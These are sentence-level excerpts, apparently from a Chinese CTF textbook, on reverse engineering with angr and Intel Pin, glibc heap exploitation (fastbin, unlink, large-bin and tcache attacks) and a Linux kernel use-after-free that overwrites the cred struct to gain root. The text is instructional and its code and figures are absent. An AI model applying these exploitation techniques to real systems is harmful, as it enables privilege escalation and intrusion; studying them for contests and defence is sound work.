    {"text": "1．利用CWnd的类和实例方法，动态获取目标窗口的MessageMap信息 使用 xspy 工具，将代码拖动到对应窗口和按钮上，即可自动解析出相关的消息处理函数。"},
    {"text": "查看xspy的源码可知，xspy的内部原理是将一个DLL注入进程序，然后在注入的DLL中Hook窗口的WndProc，从而获取到程序UI线程的执行权限。"},
    {"text": "在MFC的代码中，利用硬编码的已有模式搜索CWnd：：FromHandlePermanent的地址，搜索到就可以利用这个函数将获取到的hWnd转为CWnd类的实例。 转为CWnd的实例后就可以调用CWnd的各种方法，如GetMessageMap等。"},
    {"text": "图5-6-9为一个普通MFC程序可获取到的信息，OnCommand一般为按钮和菜单被触发时产生的消息，其中的 id=3ed 等可通过ResHacker或者xspy自身查看。"},
    {"text": "图5-6-9 2．在IDA中利用引用关系寻找 在IDA中寻找 CDialog字符串 ，然后寻找对CDialog字符串的交叉引用，在其周围即可找到 AFX_MSGMAP 。 也可以使用IDA搜索常量的功能，搜索按钮的资源id，从而找到AFX_MSGMAP_ENTRY。"},
    {"text": "5.7.1 符号执行 5.7.1.1 符号执行概述 符号执行（Symbolic Execution） 是一种程序分析技术，可以通过分析程序来得到让特定代码区域执行的输入。"},
    {"text": "在CTF中，符号执行很适合解决各种逆向题，只需让符号执行引擎自动分析，找到让程序执行到输出flag正确的位置，然后求解出所需的输入即可。"},
    {"text": "符号执行引擎则会将y作为一个未知数，在符号引擎运行的过程中会记录这个未知数进行的运算，最后得出程序到达输出正确的地点的前置条件为 y*2==12 ，进而通过这个表达式解出满足条件的输入。"},
    {"text": "表5-7-1 其中，angr适用范围最广（支持的架构最多），非常适合在CTF中解决多数工具支持较差的不常见架构的逆向题。 作为一个开源项目，angr的开发效率也非常高，虽然运行速度较慢，但是合理地使用它能够辅助选手更快更方便地解决部分CTF中的逆向题。"},
    {"text": "注意，angr项目仍然处于活跃状态，它的API在过去的几年中变化得非常快，很多以前的脚本可能已经无法运行，所以不能保证本书中的示例代码能够在最新版本的angr上运行。"},
    {"text": "目前，最新版的angr主要分为 5个模块 ：主分析器angr、约束求解器claripy、二进制文件加载器cle、汇编翻译器pyvex（用于将二进制代码翻译为统一的中间语言）、架构信息库archinfo（存放很多架构相关的信息，用于针对性地处理不同的架构）。"},
    {"text": "1．defcamp_r100 defcamp_r100 程序本身比较简单，主要逻辑是从输入中读取一个字符串，然后进入sub_4006FD函数进行验证，见图5-7-1。"},
    {"text": "首先来看官方给的示例代码： 图5-7-1 图5-7-2 首先angr.Project载入了需要分析的程序，然后程序使用p.factory.simulation_manager创建了一个simulation_manager进行模拟执行，其中传入了一个SimState作为初始状态。"},
    {"text": "创建时通常使用如下3种： ❖ blank_state（**kwargs）：返回一个未初始化的state，此时需要手动设置入口地址，以及自定义的参数。 ❖ entry_state（**kwargs）：返回程序入口地址的state，默认会使用该状态。 ❖ full_init_state（**kwargs）：同entry_state（**kwargs）类似，但是调用在执行到达入口点前应调用每个库的初始化函数。"},
    {"text": "本题的目标是让程序输出字符串 \"Nice\" ，对应的地址为0x400844，所以需要在find参数中填入这个地址，引擎在执行到相应地址后，就会认为执行成功而返回结果。"},
    {"text": "\" 对应的地址0x400855显然是需要规避的，所以需要在avoid参数中标明这个地址，让符号执行引擎在执行到该地址时忽略这个路径不再进行计算。"},
    {"text": "当然，found表也有可能为空，说明angr无法找到一条通往目标地址的路径，这时应该检查脚本是否有问题。 在示例代码中，我们通过simgr.found[0]获取到了一条能够到达目标地点的路径，这时返回的数据类型为SimState，代表程序此时的一个状态。"},
    {"text": "这个变量可以获取程序此时的所有状态，包括寄存器（如 simgr.found[0].regs.rax ）、内存（如 simgr.found[0].mem[0x400610].byte ）等。"},
    {"text": "而SimState中的posix代表了程序通过 POSIX（Portable Operating System Interface） 规范中的接口获取的数据，包括环境变量、命令行参数、标准输入、输出的数据等。"},
    {"text": "通过POSIX获取标准输入的数据非常容易，通过posix.dumps（0）方法即可获取标准输入（POSIX规定标准输入的文件句柄号为0）中的数据。 同理，使用posix.dumps（1）可以看到标准输出（POSIX规定标准输出的文件句柄号为1）的内容，此时程序的输出应该只有字符串\"Enter the password：\"。"},
    {"text": "首先，在载入需要分析的程序的过程中，可以通过添加auto_load_libs阻止angr自动载入并分析依赖的库函数： 如果auto_load_libs设置为True（默认为True），那么angr会自动载入依赖的库，然后分析到库函数调用时也会进入库函数，这样会增加分析的工作量。"},
    {"text": "然后可以指定让程序从main函数开始运行，进而避免angr反复执行程序中的初始化操作，这些操作是非常耗时的，并且对本题中核心的验证算法没有影响。"},
    {"text": "这时我们就可以不使用entry_state，而使用可以方便我们手动指定开始地址的 blank_state ，在参数中指定main函数的地址 0x4007E8 ： 但是没有库函数后要怎样表示printf和scanf这种函数呢？"},
    {"text": "其中，replace=True代表了替代之前的Hook，因为angr的SIM_PROCEDURES中已经实现了libc的部分函数，angr会自动Hook一部分符号到已经实现的函数。"},
    {"text": "我们可以通过验证函数的循环次数判断flag的 长度为12 ，所以在自己实现的函数中只需往rdi（第一个参数）指向的内存地址中放12字节输入即可。 我们的fgets函数先获取了模拟的标准输出，然后手动从标准输入中读入了12个字符，再把读入的数据放入了第一个参数所指向的内存地址，然后直接返回12（读入的字符数量）。"},
    {"text": "2．baby-re(DEFCON 2016 quals) 这个题目中连续调用了12次scanf函数从标准输入中获取数字，并且将其存入一个整型数组中，最后进入CheckSolution对数据进行检查，见图5-7-3。"},
    {"text": "在angr中有许多官方文档中没有详细说明的附加设置，具体信息在 angr/sim_options.py 文件中，其中LAZY_SOLVES的描述是“ stops SimRun for checking the satisfiability of successor states ”，是指不在运行的时候实时检查当前的条件是否能够成功到达目标位置。"},
    {"text": "这样无法避免一些无解的情况产生，但是可以显著提高脚本的运行速度，可以使用以下语句开启该选项： 开启该选项前，脚本运行时间为74.102s，开启后，脚本运行时间为8.426s，差距非常大。"},
    {"text": "通过观察可以发现，程序在前面做的很多操作都是在一个一个获取输入，这样做相对来说比较耗时。 如果能直接将输入放在内存中，然后直接从call CheckSolution的地址（0x4028E0）开始执行，也许可以节约前面获取输入的时间，感兴趣的读者不妨自行试验。"},
    {"text": "但由于标准输入、文件系统这类流对象无法简单推断输入的长度，这常常导致angr需要很长时间尝试不同的长度来求解； 而有时由于angr对于scanf等特殊输入函数处理不得当，甚至会提示无解。"},
    {"text": "于是，我们可以通过以下代码来创建用户的输入： 然后把这些变量放入对应的内存地址，为了方便，直接放入rsp指向的内存地址（最后别忘了传参）： 在手动设置符号变量后，不能直接Dump标准输入来得到正确的输入，但是angr的求解器直接提供了一个eval函数，可以获得符号变量对应的值： 经过这样操作，我们成功地将脚本的运行时间从8.461s优化到了7.933s。"},
    {"text": "右侧是一个循环，在这个循环结束后，进行判断，如果不相等，就会把rbp+var_1E49赋值为0，见图5-7-7。 在函数末尾，rbp+var_1E49直接作为返回值返回到上一级函数，见图5-7-8。"},
    {"text": "但是函数中对这个内存地址赋值的操作并不在少数，可以使用idapython进行提取： 虽然这个程序开启了 pie保护 ，但是在angr中，程序的基址固定在0x400000处，所以在提取的时候应该加上该值。"},
    {"text": "比如，跳过前面读取flag的步骤，将输入直接放在内存中： 另外，在这个验证函数中调用sub_110F4、sub_1110E函数的次数非常多（见图5-7-9），而且这些函数的逻辑非常简单，完全可以手动分析后，替换成自己实现的函数。"},
    {"text": "除此之外，更简单的办法是，如果第二个函数传入的是一个SimProcedure类，那么angr将把这个地址直接当成一个函数来hook： 最终，经过优化的脚本只用41s就可以解出这道逆向题。"},
    {"text": "5.7.2 二进制插桩 插桩（Instrumentation）是在保证程序原有逻辑完整性的基础上，在程序中插入探针，通过探针的执行来收集程序运行时信息的技术。"},
    {"text": "❖ 静态二进制插桩：在运行前插入额外的指令和数据并生成修改后的二进制文件。 ❖ 动态二进制插桩：在程序运行时插入额外的代码和数据，不会修改当前的可执行文件。"},
    {"text": "对于x86架构，假设需要记录程序执行了多少条指令，可以进行如下操作： 与源码级插桩相比，二进制插桩与语言无关，不需要程序的源码，也不需要重新编译链接程序，它直接对程序的机器码进行插桩，因此在逆向工程和实际漏洞挖掘中一般可以使用二进制插桩。 二进制动态插桩相对于二进制静态插桩更加强大，可以在程序运行时进行插桩，可以处理动态生成的代码，如加壳，适用的场景更加广泛。 由于CTF的逆向题一般只给出程序的二进制文件，若将插桩技术运用到CTF中，则需要使用二进制插桩。"},
    {"text": "5.7.3 Pin Pin 是Intel开发的二进制动态插桩引擎，支持32/64位的Windows、Linux、Mac、Android，提供了丰富的C/C++API来开发自己的插桩工具pintools。 pintools十分健壮，甚至可以对数据库、Web浏览器等进行插桩，还可以对插桩的代码进行编译优化，以减少插桩时产生的额外开销。"},
    {"text": "5.7.3.1 环境配置 Pin本身是开箱即用的，由于是Intel开发的引擎，官方的默认开发环境可能有些老旧，本节介绍如何配置一个方便的、可用的Pintool开发环境和使用环境。 首先，到官网下载对应平台的Pin环境。"},
    {"text": "将当前目录的pin.exe重命名为pin.bak并新建pin32.bat，从中填入如下代码： 这就创建好了32位的pin.exe的快捷方式。 随后创建pin64.bat，代码类似，只需把“ia32”改为“intel64”。 然后将当前目录加入环境变量PATH，打开命令行，输入“pin32”或“pin64”命令。"},
    {"text": "打开MyPinTool.vcxproj，如果遇到报错（见图5-7-11），则进行如下操作：打开MyPinTool属性，在“ C/C++ → 常规 → 附加包含目录 ”中加入“ ..\\..\\..\\extras\\xed-ia32\\include\\xed ”（若是64位，则加入“..\\..\\..\\extras\\xed-intel64\\include\\xed”），见图5-7-12。 图5-7-11 图5-7-12 若编译时产生“xx模块对SAFESEH映像是不安全的”报错（见图5-7-13），则进行如下操作：打开MyPinTool属性，在“ 链接器 → 高级 → 映像具有安全异常处理程序 ”中把选项设置为“否”，见图5-7-14。 若报错“无法解析的外部符号__fltused”（见图5-7-15），则进行如下操作：打开MyPinTool属性，在“ 链接器 → 输入 → 附加依赖项 ”中添加“crtbeginS.obj”，见图5-7-16。"},
    {"text": "在生成的MyPinTool.dll所在的目录打开命令行，输入如下命令： 在当前目录生成log.log，其中记录了程序执行的基本块数目和指令数目，见图5-7-17。"},
    {"text": "图5-7-13 图5-7-14 图5-7-15 图5-7-16 图5-7-17 图5-7-18 5.7.3.2 Pintool使用 编译完成的Pintool作为一个动态链接库存在：在Windows下是DLL，在Linux下则是so。"},
    {"text": "图5-7-19 图5-7-20 5.7.3.3 Pintool基本框架 本节以Windows下Pin自带的MyPintool作为框架进行讲解。 MyPintool的main函数的基本框架如下： Pintool会先执行Pin_Init对Pin运行库进行初始化，若是参数有-h或者初始化失败报错，则会输出工具的帮助信息，即调用Usage，见图5-7-21。"},
    {"text": "对于指令级插桩，Pin会在执行一条新指令时进行插桩，换句话说，对于动态生成的代码，Pin也能对其进行自动化的插桩，因此可以用Pin处理加壳的程序。"},
    {"text": "轨迹级插桩可以认为是基本块（base block）级的插桩，但是Pin定义的基本块比一般情况定义的基本块要多。 轨迹级插桩会在顶部的基本块被调用，若是执行过程中生成了新的基本块（如分支），则会生成新的轨迹，与上述指令级插桩有相同的特性，可以方便地处理动态生成的代码。"},
    {"text": "图5-7-21 图5-7-22 表5-7-1 镜像级插桩和函数级插桩依赖符号信息，需要在调用PIN_Init前调用Pin_InitSymbols对程序进行符号分析。"},
    {"text": "图5-7-22 图5-7-23 因此，可以通过对基本块的插桩来计算程序执行的基本块数目和指令数目，得到一个记录程序执行指令数的Pintool，见图5-7-24。"},
    {"text": "图5-7-24 本节讲解了Pintool的基本框架，更多API可以查阅Intel Pin的文档： https://software.intel.com/sites/landingpage/pintool/docs/97619/Pin/html/index.html 。"},
    {"text": "若是flag，部分字节的改变只会影响enc中的部分字节，则可以考虑将flag分成多段，对输入进行爆破，将算法f直接当作黑箱，不对其进行逆向。"},
    {"text": "图5-7-25 由于在程序运行的过程中，我们只关心程序本身执行的基本块的数目，并不关心在外部DLL中的执行，因此需要使用IMG_AddInstrumentFunction记录程序镜像的开始地址和结束地址，见图5-7-26。"},
    {"text": "图5-7-27 图5-7-28 图5-7-29 编译完成后，我们使用样例程序进行测试，工作正常，执行的基本块数量随着输入长度的变化而变化，见图5-7-30。"},
    {"text": "上面的字符集的开头和结束都为0的原因是，如果“}”是正确的输入，后面再次验证0时必然错误，这样可以看到执行结果的变化，方便验证。"},
    {"text": "图5-7-35 图5-7-36 5.7.3.5 CTF实战：记录指令轨迹 对于OLLVM这类混淆了程序控制流的逆向题，若直接对其进行分析会非常困难，若使用Pin对程序执行过的基本块进行记录，可以得到程序的执行流程，从而对我们的逆向分析提供帮助。"},
    {"text": "图5-7-37 图5-7-38 图5-7-39 图5-7-40 图5-7-41 图5-7-42 图5-7-43 得到执行过的基本块信息后，我们可以方便地对程序算法进行分析。"},
    {"text": "图5-7-44 5.7.3.6 CTF实战：记录指令执行信息与修改内存 在CTF中，有些虚拟机类的逆向题会专门实现cmp指令，从而完成对数据的比较。"},
    {"text": "图5-7-46 图5-7-47 考虑使用指令级插桩INS_AddInstrumentFunction对地址0x401412的cmp指令进行插桩，记录eax和esi的值，见图5-7-48。"},
    {"text": "图5-7-49 图5-7-50 最后一次比较的内容为0xcbaaaaaa和0xebbaa84d，由于0xcbaaaaaa恰好为输入的flag的后8字节，猜测0xebbaa84d为真实flag的后8字节。"},
    {"text": "仔细观察sub_401400会发现，当比较结果相等时， v1[5]=0 ，考虑用Pin修改比较后的结果，自动套出所有flag。 观察sub_401400后半部分（见图5-7-52），不论如何执行，都会执行到 0x401457 ，所以在这个位置插桩，在比较flag时将v1[5]修改为0，自动化记录flag。"},
    {"text": "随后在0x401457的指令执行前插入函数editResult，由于v1的地址存在edi中，因此需要传递edi给函数，同时需要eax判断当前正在比较的是否为flag。"},
    {"text": "图5-7-53 图5-7-54 由于我们的Pintool与程序运行在同一个地址空间，若需要修改内存，可以直接通过memcpy完成，但是Pin不推荐这么做，推荐使用更安全的函数 PIN_SafeCopy 。"},
    {"text": "分析汇编可以得知，v1[5]对应的内存地址为 edi+0x14 ，若当前比较的数据是flag，则将v1[5]设置为0，让程序认为比较正确，进而可以得到后续的flag。"},
    {"text": "由于篇幅有限，本节介绍的Pin的用法只是“冰山一角”，真正的CTF是没有套路的，只有勤查文档，开拓思路，才能在CTF中将Pin发挥出最大的作用。"},
    {"text": "通过Hook SleepEx函数，可以让变化的速度加快（类似变速齿轮），由于移动鼠标需要使用SetCursorPos的API，因此Hook住它来获取每轮的数据。"},
    {"text": "5.8.2 巧妙利用程序已有代码 当编译器优化不充分时，在编译含有库的程序时会把整个库编译进二进制文件，这导致某些函数没有被用到，却出现在程序中。"},
    {"text": "图5-8-2 5.8.3 Dump内存 这种做法实际上是 “降维打击” ：每个程序运行的环境都是由相应的更“高等级”的系统提供的，如可执行文件的运行环境由操作系统提供、操作系统的运行环境由虚拟机提供（如果是虚拟机系统）。"},
    {"text": "在CTF中，可以使用权限更高、层级更高的工具查看程序的内存，从而观察程序运行的中间结果，借此来查看其中是否有flag，或者是否包含需要的程序数据。"},
    {"text": "但若要查看内核的内存，由于种种历史原因，这些系统缺少相应的内核级系统维护工具，所以我们只能借助虚拟机这一更“高级的”系统来查看。"},
    {"text": "我们可以通过修改macOS的 boot-args 来开启调试日志并禁用自动重启： nvram boot-args=\"debug=0x546 kcsuffix=development pmuflags=1 kext-dev-mode=1 slide=0 kdp_match_name=en0-v\" ，这样在题目程序触发panic后可以让系统保持这个状态供我们调试，从而让我们能更方便地抓取内存内容。"},
    {"text": "拟态防御线下赛的一个逆向题是驱动配合的，驱动会修改进程栈上的一个迷宫数组，同时会做一些Rootkit的类似操作，如隐藏进程、驱动反调试、Hook并防止打开进程等。"},
    {"text": "图5-8-4 小结 本章介绍了CTF中常用的逆向工具及方法，但是CTF中的逆向可能远不止这么简单，有时候甚至会出现一些无法运行、反编译的题目，这些题目可能是IoT固件，也可能是非常罕见的架构，如nanoMIPS。"},
    {"text": "笔者认为，逆向没有所谓的“套路”，只有真正熟悉程序的运行机理，熟悉各种系统、架构的特性、各种加解密方法，才能在解决逆向题的时候更加得心应手。"},
    {"text": "为了高效地分配内存并尽量避免内存碎片，Ptmalloc2将不同大小的free chunk分为不同bin结构，分别为Fast Bin、Small Bin、Unsorted Bin、Large Bin。 1．Fast Bin Fast Bin分类的chunk的大小为32～128（0x80）字节，如果chunk在被释放时发现其大小满足这个要求，则将该chunk放入Fast Bin，且在被释放后不修改下一个chunk的PREV_INUSE标志位。 Fast Bin在堆管理器中以单链表的形式存储，不同大小的Fast Bin存储在对应大小的单链表结构中，其单链表的存取机制是LIFO（后进先出）。"},
    {"text": "Large Bin的结构相对于其他Bin是最复杂的，速度也是最慢的，相同大小的Large Bin使用fd和bk指针连接，不同大小的Large Bin通过fd_nextsize和bk_nextsize按大小排序连接。"},
    {"text": "在堆管理器的Unsroted Bin不为空时，用户申请非Fast Bin大小的内存会先从Unsorted Bin中查找，如果找到符合该申请大小要求的chunk（等于或者大于），则直接分配或者分割该chunk。"},
    {"text": "【例6-6-1】 在例6-6-1中可以发现明显的堆溢出，结构体AAA中buf的大小为32字节，却读入了48字节的字符，过长的字符直接覆盖了结构体中的函数指针，进而调用该函数指针时实现了对程序控制流的劫持。"},
    {"text": "6.6.3 堆内存破坏漏洞利用 关于对Ptmalloc2堆管理器的缺陷进行漏洞利用，本节进行源代码级别的调试和缺陷分析，分析Ptmalloc2堆管理器的缺陷，以及如何利用这些缺陷进行漏洞利用。"},
    {"text": "本节使用的工具是pwndbg（ https://github.com/pwndbg/pwndbg ）和shellphish团队分享的how2heap（ https://github.com/shellphish/how2heap ），读者可以关注how2heap项目中对应缺陷的CTF题目。"},
    {"text": "完成后，在 /usr/src/glibc 目录中可以发现 glibc-2.23.tar.xz 文件（见图6-6-1），解压该文件，可以看到glibc-2.23的源码。"},
    {"text": "在GDB中，使用dir命令设置源码搜索路径： 图6-6-1 这样可以在源码级别调试Glibc源码（见图6-6-2）。 为了方便，可以在“ ～/.gdbinit ”中加入： 图6-6-2 设置源码路径，这样就不用在每次启动GDB时手动设置了。"},
    {"text": "在Glibc 2.25及其之前版本，chunk在被释放后，会先判断其大小是否不超过global_max_fast的大小，如果是，则放入Fast Bin，否则进行其他操作。 下列代码是截取Glibc 2.25中Ptmalloc2源代码中关于对Fast Bin处理的一部分，在chunk的大小满足不超过global_max_fast的条件后，还会判断其大小是否超过最小chunk且小于系统内存，然后将该chunk加入相应大小的链表。 Fast Bin的申请操作也不复杂，先判断申请的大小是否不超过 global_max_fast 的大小，如果满足，则从该大小的链表中取出一个chunk。"},
    {"text": "但是在取出chunk后，代码 对取出的chunk的合法性进行了验证，验证该chunk的size部位必须与该链表应该存储的chunk的size部位一致。 换句话说，如果该链表存储的是size为 0x70 大小的chunk，那么从该链表取出的chunk的size部位也必须是0x70。"},
    {"text": "1．修改fd指针 针对一个已经在Fast Bin的chunk，我们可以修改其 fd指针 指向目标内存，这样在下次分配该大小的chunk时就可以分配到目标内存。 但是在分配Fast Bin时，Ptmalloc2存在一个对chunk的size位的检查，我们可以通过修改目标内存的size位来绕过这个检查。"},
    {"text": "（1） 修改fd指针低位 想要实现分配到目标内存区域，则需要知道目标内存地址，但是由于系统ASLR的限制，我们需要通过其他漏洞获得内存地址，这意味着需要额外的漏洞来进行漏洞利用。 但是堆的分配在系统中的偏移是固定的，分配的堆内存的地址相对于堆内存的基地址是固定的，通过修改fd指针的低位，我们不需要进行信息泄漏也可以进行内存的Overlap实现攻击。"},
    {"text": "(2) Double Free List 在前文的释放Fast Bin大小的内存的源代码中可以看到，Ptmalloc2会验证当前释放的chunk是否和上一次释放的chunk一致，如果一致，则说明出现了Double Free。"},
    {"text": "细看Ptmalloc2的源代码，在获取相应大小的Fast Bin链表时，是根据当前size的获得的idx值，然后在当前arena的fastbinsY数据中查找到的。 获取fastbin的idx是根据size的大小进行运算的，如果size变大，idx的值也会相应变大。"},
    {"text": "arena的位置是在glibc的bss段，也就是说，我们可以利用改写Global Max Fast后，处理特定大小的chunk，进而可以在arena往后的任意地址写入一个堆地址。"},
    {"text": "6.6.3.3 Unsorted Bin List chunk在被释放后，如果其大小不在Fast Bin的范围内，会先被放到Unsorted Bin。 在申请内存时，如果大小不是Fast Bin大小的内存并且在Small Bin中没有找到合适的chunk，就会从Unsorted Bin中查找。 Unsorted Bin是 双向链表 的结构，如果刚好找到了符合要求的chunk，就会分割返回。 但是Unsorted Bin查找过程中不会严格检查，我们可以在Unsorted List中插入一个伪造的chunk，来混淆Ptmalloc2管理器，进而分配到我们想要的目标内存。"},
    {"text": "通过调试观察，在free（victim）的时候，堆管理器中已经出现了Unsorted Bin的内存了： 继续单步调试运行到30行时，此时victime的内存排布如下： fd指针指向main_arena的地址，bk指向目标栈地址。"},
    {"text": "我们在_int_malloc函数上设置断点： 略过无关代码，直接看处理Unsorted Bin部分的代码： 其中可以看到： 首先获得unsoted bin list中的第一个chunk。"},
    {"text": "在后面的操作中，堆管理器把Unsorted Bin中的bin按照大小分别存储到Small Bin和Large Bin中。 对Small Bin的处理逻辑比较简单： 先获取对应大小的Bin链，再插到其头部。"},
    {"text": "此时，victim的chunk已经被放入smallbins中： 第一个循环结束后，重新回到循环的开头，此时获取的victim为目标栈地址，bck为victim的bk指针指向的地址。"},
    {"text": "Glibc中unlink操作的代码逻辑不是很复杂，但是触发的环境很多，如防止堆内存碎片化，在遇到相邻的空闲内存进行合并时会触发Unlink，或者找到合适的内存从双链表中取出时触发Unlink，malloc_consolidate时触发Unlink等。 Glibc中Unlink的源代码如下： Unlink在处理双链表时是一个非常基础的操作，检查也比较严格，检查了双链表的完整性。"},
    {"text": "用GDB调试本样例代码，在 第46行 设置断点： 此时程序堆内存的排布情况如下： 地址 0x603090 指向的chunk是一个待被释放的chunk，从它的头信息可以看出，它的上一个chunk是处于释放状态的，并且大小为0x80。"},
    {"text": "所以在0x603090这个chunk被释放时，检查到prev_inuse位为0，则将它的前一个chunk从链表中unlink，然后合并成一个chunk。 此时，p指向的chunk的地址为 0x603010 ，也就是&chunk0_ptr，所以p的fd指向 0x602058 ，即&chunk0_ptr-（sizeof（uint64_t）*3）： bk指向 0x602060 ，即&chunk0_ptr-（sizeof（uint64_t）*2）： 当按照这样的内存排布设置好内存后，就可以绕过unlink的第一个检查： 然后指向解链操作： 以其操作为： 此时观察chunk0_ptr的信息，可以发现其值被改写为了 0x602058 ，即存储chunk0_ptr信息的偏移0x18大小的地址。"},
    {"text": "观察malloc_printerr的代码： 只要 action&2！ =1 ，就不会因为abort而导致程序终止，如果满足 if（（action&5）==5） ，则malloc_printerr还会打印错误信息，从而获得地址信息。"},
    {"text": "6.6.3.5 Large Bin Attack(0CTF heapstormII) 在处理Large Bin时，堆管理器会根据每个Large Bin的大小，用 fd_nextsize 和 bk_nextsize 按大小排序连接。"},
    {"text": "由于申请的内存大小为 0x90 ，则Unsorted Bin中的两个chunk的大小分别为 0x410 和 0x290 ，所以会把Unsorted Bin中的两个chunk放入各自大小的链中。 其中，0x290大小的放入Small Bin，0x410大小的放入Large Bin。"},
    {"text": "其中处理Large Bin的逻辑如下： 按照构造好的内存结构信息，堆管理器将新的Large Bin插入双链表： 其中，fwd为被修改后的Large Bin，其结构信息如下： 所以在执行 后，便在 0x00007fffffffe3d8+0x20 处写入了victim的地址。"},
    {"text": "读者可以调试0CTF 2018的heapstormII，这道题的预期解法是利用Large Bin Attack在指定地址上构造出一个chunk，并将该chunk插入Unsorted Bin中，使得在申请内存时可以直接获得目标内存。"},
    {"text": "6.6.3.7 Glibc 2.29的tcache 在Glibc 2.29中，tcache结构体中加入了key变量，在tcache_get时清空key变量，在tcache_put中加入key变量。"},
    {"text": "普通的用户空间二进制PWN的最终目的是在目标机器上执行任意代码，而内核PWN的最终目的是 利用漏洞来实现在内核中执行任意具有特权权限的代码 。"},
    {"text": "这三个过程造就了各自的门槛，如对于普通二进制PWN来说，只要会C语言、汇编，就能逆向C代码。 逆向C++程序则需要具备使用C++编程语言的能力，其他语言同理。"},
    {"text": "近年来的CTF比赛中，二进制PWN赛题中出现的漏洞类型虽然只有几种，但是同一种漏洞在不同题目中可能有不同的利用方式，而且几乎每年都会出现几种新型的利用方法（与数学考试类似）。"},
    {"text": "所以需要在启动Qemu时添加如下网络参数： 如果启动后仍然没有网络连接，是因为该内核没有编译该类型网卡的驱动，更改网卡即可。 查看Qemu支持模拟的网卡： 本题的内核使用的网卡是 virtio-net-pci 。 启动后需要使用“ ifconfig eth0 up ”命令启动该网卡，但是因为该系统不会自动使用DHCP获取IP，所以需要手动配置IP。 如果使用user模式，那么只能通过外网IP进行文件传输，所以建议使用桥接模式： 在Ubuntu环境中，可以通过“ apt install libvirt-bin bridge-utils virt-manager ”命令安装虚拟网卡，其中virbr0是环境中虚拟网卡的名称。"},
    {"text": "本例中，cpio是文件系统，并且使用gzip压缩格式进行压缩，可以通过以下命令解压： 得到的文件再通过cpio命令解压到path目录下： 然后可以在path目录下获取该题目中的所有文件，还可以把Exp放到该目录下，然后执行： 进行重打包压缩。"},
    {"text": "注意 ，在本地测试环境中有root权限是没用的，一般题目的远程服务器提供普通用户权限，本地测试成功后的Exp上传，获得root权限后，从该远程服务器就能获取flag了。"},
    {"text": "从 http://ddebs.ubuntu.com/ 可以获取对应版本有符号的vmLinux，然后替换题目的bzImage，就可以利用有符号的内核比较轻松地进行逆向、调试工作了。"},
    {"text": "另外，在新版的内核中，实际的地址与内核ELF中的地址会有偏差，这可能导致GDB的符号识别失败，可以通过修改Qemu的启动参数，在内核启动参数中增加“ nokaslr ”，避免地址偏移带来的问题。"},
    {"text": "但是如果打开两次该设备，然后释放其中一个文件指针，另一个文件指针中的 babydev_struct.buf 指针却没有被置0，且该指针仍然可以被使用，就产生了UAF漏洞。"},
    {"text": "旧版的Linux内核中有一个 thread_info 结构体： 在该结构体中有一个task指针，指向另一个 task_struct 结构体： 而 cred 结构体是用来保存权限相关的信息： 内核获取到thread_info地址的代码： 所以在旧版的内核中，一个进程进入内核态以后，在当前栈顶地址偏移为 0x4000 或 0x8000 （由编译内核时的配置决定）的位置，可以获取thread_info地址，从而得到task_struct的地址，然后得到cred地址，该结构体中保存着当前进程的权限信息。"},
    {"text": "但是在新版的内核中，该结构发生了变化，一个全局链表中存储着task_struct信息，内核先获取到当前进程的task_struct地址，再在该结构体中存储着thread_info和cred结构体的地址，但cred结构体存储在task_struct中这一点并没有发生变化。 cred结构体存储当前进程的权限信息，所以在内核PWN中，最终目标是修改cred结构体。"},
    {"text": "本题有一个比较简单的方法，因为cred结构体的大小是 0xa8 ，当创建一个新进程时，内核会在堆中申请0xa8长度的堆存放cred结构体。 所以利用思路如下：申请一个0xa8字节的堆（babyioctl可以实现），赋值给 babydev_struct.buf ，再释放，然后创建一个新进程，这样释放的0xa8大小的堆会分配给新进程的cred结构体；"},
    {"text": "因为存在UAF漏洞，所以cred结构体的内容是可控的，只要把控制权限的字段修改为0（root的UID），这样创建的新进程就能获取root权限，达到提权的目的。"},
    {"text": "kmalloc通过传入的size大小在kmalloc_caches中寻找合适的kmem_cache结构体。 而cred有一个专门的kmem_cache结构体全局变量cred_jar，在内核启动时初始化： 在旧版本中初始化cred_jar的Flag与kmalloc_caches初始化的一致，这导致“ cred_jar==kmalloc_caches[2] ”，所以驱动中调用kmalloc分配了0xa8大小的堆，然后释放，该内存会被重新分配给cred。 因为它们的kmem_cache一样，新版本中，cred_jar创建的flag与kmalloc_caches[2]创建的不一样，该题的利用方法无法用于新版内核。"},
    {"text": "6.7.8 PWN Linux小结 俗话说，万事开头难，只要一只脚跨入Linux内核的大门，从头到尾了解内核题目的整个攻击流程，接下来要做的就是知识的积累，去学习Linux内核的各种利用方式。"},
    {"text": "这种方式更像实际内核漏洞的挖掘思路 6.7.9 Linux内核PWN源代码 6.8 Windows系统的PWN 相比于Linux，Windows更庞大和复杂，在默认配置下包含更多的组件。"},
    {"text": "由于其中闭源组件占了绝大多数，再加上复杂的权限管理和不同的内核实现，使得Windows环境的PWN题目在CTF中鲜有出现，不过随着CTF队伍整体实力的逐渐增强，Windows下的PWN题目也逐渐受到选手们的重视。"},
    {"text": "通过icacls查看文件权限： 可以看到，SYSTEM、Administrators、bitma这三个SID对test.txt有完全访问权限。 现在尝试删除bitma对于test.txt的访问权限： 注意，在修改一个文件的ACL时，若修改的ACE项是继承的，要先关闭其继承属性。"},
    {"text": "6.8.2 Windows的调用约定 32位Windows通常采用 __stdcall调用约定 ，参数按从右到左的顺序被逐一压入栈中，并且在调用完成后，由被调用函数清理这些参数，函数的返回值会放在EAX中。 64位Windows通常采用微软的 x64调用约定 ，其中前4个参数会被分别放入RCX、RDX、R8、R9中，更多的参数会存在栈上，返回值放在RAX中。"},
    {"text": "在这个调用约定下，RAX、RCX、RDX、R8、R9、R10、R11由调用方保存，RBX、RBP、RDI、RSI、RSP、R12、R13、R14、R15由被调用方保存。"},
    {"text": "注意，程序在将Stack Cookie放入栈中前，程序还将其与RSP进行了异或操作，这在某种程度上增强了保护程度，攻击者需要同时知道当前栈顶地址和Stack Cookie才能够进行栈溢出漏洞的利用。"},
    {"text": "由于这些信息中包含SEH Handler的地址，覆盖SEH成为了攻击早期windows以及其程序的常用利用技巧，因此微软在新版Windows中引入了SEHOP和SafeSEH这两个缓解措施。"},
    {"text": "SEHOP 会检测SEH单链表的末尾是不是指向一个固定的SEH Handler，否则异常终止程序。 SafeSEH 会检测当前使用的SEH Handler是否指向当前模块的一个有效地址，否则异常终止程序。"},
    {"text": "6.8.4 Windows的PWN技巧 1．从堆上泄露栈上地址 通常情况下，堆上是不会存在栈上地址的，因为栈上的内容一般比堆上的内容保存的时间更短。"},
